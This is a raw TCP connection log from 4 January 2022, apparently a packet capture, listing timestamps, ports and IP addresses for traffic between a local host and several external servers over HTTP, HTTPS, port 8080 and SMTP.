Jan 4, 2022 19:33:05.129857063 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129929066 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.129936934 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129992008 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.129992962 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.130016088 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.130059004 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.130059958 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.130086899 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.130130053 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.141223907 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.141278028 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.141324997 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.141350985 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.141369104 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.144526005 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144570112 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144640923 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.144665956 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144684076 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.144763947 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144805908 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144833088 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.144855022 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144877911 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.144953012 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.144994974 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145024061 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145045042 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145066023 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145127058 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145165920 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145199060 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145220995 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145242929 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145311117 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145348072 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145386934 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145402908 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145417929 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145436049 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145473957 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145493984 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145508051 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145531893 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145888090 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145926952 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.145970106 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.145991087 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146009922 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.146219969 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146260023 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146317005 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.146337986 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146359921 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.146399975 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146439075 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146471024 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.146493912 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146508932 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.146557093 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146595001 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146620035 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.146634102 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.146657944 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147090912 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147130013 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147195101 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147219896 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147238016 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147265911 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147310972 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147341013 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147362947 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147388935 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147594929 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147644043 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147730112 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147742987 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147769928 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147799015 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147850037 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147871017 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.147885084 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.147906065 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.155937910 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.155988932 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.156080008 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.156102896 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.156117916 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.156143904 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:05.156164885 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.156840086 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.172272921 CET	49797	443	192.168.2.5	162.159.135.233
Jan 4, 2022 19:33:05.172312975 CET	443	49797	162.159.135.233	192.168.2.5
Jan 4, 2022 19:33:06.736809969 CET	49801	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.804723978 CET	80	49801	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:06.805378914 CET	49801	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.805475950 CET	49801	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.805484056 CET	49801	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.873341084 CET	80	49801	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:06.924599886 CET	80	49801	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:06.925291061 CET	49801	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.925369978 CET	49801	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.960120916 CET	49802	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:06.994196892 CET	80	49801	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.021797895 CET	80	49802	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.021941900 CET	49802	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.022092104 CET	49802	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.022109032 CET	49802	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.081722021 CET	80	49802	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.153542995 CET	80	49802	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.153669119 CET	49802	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.153884888 CET	49802	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.181919098 CET	49803	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.196973085 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:07.197108984 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:07.197134018 CET	49793	8080	192.168.2.5	185.7.214.171
Jan 4, 2022 19:33:07.213957071 CET	80	49802	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.241686106 CET	80	49803	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.241831064 CET	49803	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.241986036 CET	49803	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.242010117 CET	49803	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.257819891 CET	8080	49793	185.7.214.171	192.168.2.5
Jan 4, 2022 19:33:07.301595926 CET	80	49803	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.342478037 CET	80	49803	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:07.342570066 CET	49803	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.342827082 CET	49803	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:07.350373030 CET	49804	80	192.168.2.5	188.166.28.199
Jan 4, 2022 19:33:07.402518034 CET	80	49803	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:10.406208038 CET	49804	80	192.168.2.5	188.166.28.199
Jan 4, 2022 19:33:16.440433025 CET	49804	80	192.168.2.5	188.166.28.199
Jan 4, 2022 19:33:19.020098925 CET	49813	25	192.168.2.5	40.93.207.1
Jan 4, 2022 19:33:19.124655962 CET	25	49813	40.93.207.1	192.168.2.5
Jan 4, 2022 19:33:19.124902964 CET	49813	25	192.168.2.5	40.93.207.1
Jan 4, 2022 19:33:19.125519037 CET	49813	25	192.168.2.5	40.93.207.1
Jan 4, 2022 19:33:19.228084087 CET	25	49813	40.93.207.1	192.168.2.5
Jan 4, 2022 19:33:19.229289055 CET	25	49813	40.93.207.1	192.168.2.5
Jan 4, 2022 19:33:19.229368925 CET	49813	25	192.168.2.5	40.93.207.1
Jan 4, 2022 19:33:19.229533911 CET	25	49813	40.93.207.1	192.168.2.5
Jan 4, 2022 19:33:19.229617119 CET	49813	25	192.168.2.5	40.93.207.1
Jan 4, 2022 19:33:22.013571978 CET	49814	443	192.168.2.5	194.87.235.183
Jan 4, 2022 19:33:22.013628006 CET	443	49814	194.87.235.183	192.168.2.5
Jan 4, 2022 19:33:22.013767004 CET	49814	443	192.168.2.5	194.87.235.183
Jan 4, 2022 19:33:27.792516947 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:27.958416939 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:27.959158897 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:27.959686995 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:27.959709883 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.123409986 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.469026089 CET	49821	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.525895119 CET	80	49821	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.528021097 CET	49821	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.528364897 CET	49821	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.528388023 CET	49821	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.576431990 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.578356028 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.578448057 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.580353022 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.582384109 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.583249092 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.584355116 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.585148096 CET	80	49821	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.586360931 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.586445093 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.587344885 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.589344025 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.589523077 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.591322899 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.593353987 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.595607042 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.638920069 CET	80	49821	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.639038086 CET	49821	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.639091969 CET	49821	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.668016911 CET	49822	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.704816103 CET	80	49821	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.727956057 CET	80	49822	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.728199005 CET	49822	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.728388071 CET	49822	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.728447914 CET	49822	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.743459940 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.745342970 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.746109009 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.747406960 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.749367952 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.750602007 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.751306057 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.753359079 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.753467083 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.755316019 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.757319927 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.757369995 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.758353949 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.760322094 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.760888100 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.762288094 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.764327049 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.765542984 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.766355991 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.768299103 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.770329952 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.770378113 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.771470070 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.771564960 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.773401976 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.775358915 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.775985956 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.777354956 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.779336929 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.779998064 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.780040026 CET	80	49822	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.857614994 CET	80	49822	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.857738018 CET	49822	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.857795000 CET	49822	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.882531881 CET	49823	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.907815933 CET	80	49822	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.910445929 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.912307024 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.914510965 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.914601088 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.916297913 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.916371107 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.918309927 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.920314074 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.921272039 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.921349049 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.923377991 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.923439026 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.925314903 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.927299023 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.928036928 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.929327011 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.931328058 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.931381941 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.933337927 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.934302092 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.934379101 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.936307907 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.938364029 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.938426971 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.940295935 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.942331076 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.942496061 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.944319010 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.945333004 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.945409060 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.947312117 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.948360920 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.949301958 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.949933052 CET	80	49823	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:28.950304985 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.950402021 CET	49823	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.950524092 CET	49823	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.950550079 CET	49823	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:28.952322006 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.952383995 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.954312086 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.955288887 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.955990076 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.957319975 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.959302902 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.959359884 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.961309910 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.963313103 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.963862896 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.965266943 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.967292070 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.967359066 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.969291925 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.971364975 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.971431017 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.973272085 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.974329948 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.974392891 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.976309061 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.978333950 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.978398085 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:28.980329990 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.982382059 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:28.983989954 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.022859097 CET	80	49823	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.078372955 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.081964016 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.082298040 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.082396030 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.084412098 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.084486008 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.087064981 CET	80	49823	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.087138891 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.087291956 CET	49823	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.087439060 CET	80	49823	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:29.087582111 CET	49823	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.088324070 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.088396072 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.089287043 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.091762066 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.092550039 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.093470097 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.095482111 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.095541000 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.097301006 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.099371910 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.099450111 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.101313114 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.102318048 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.102389097 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.104299068 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.107141972 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.107199907 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.108431101 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.110419035 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.112437963 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.112463951 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.114495039 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.114706039 CET	49824	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:29.114727974 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.116451979 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.120135069 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.120182037 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.120362043 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.121417046 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.121500015 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.123405933 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.125597000 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.126049995 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.127377987 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.130357027 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.130461931 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.133132935 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.133466959 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.134037018 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.135595083 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.137496948 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.137587070 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.139460087 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.141334057 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.141405106 CET	49820	80	192.168.2.5	152.0.118.227
Jan 4, 2022 19:33:29.143377066 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.146773100 CET	80	49820	152.0.118.227	192.168.2.5
Jan 4, 2022 19:33:29.147455931 CET	80	49820	152.0.118.227	192.168.2.5
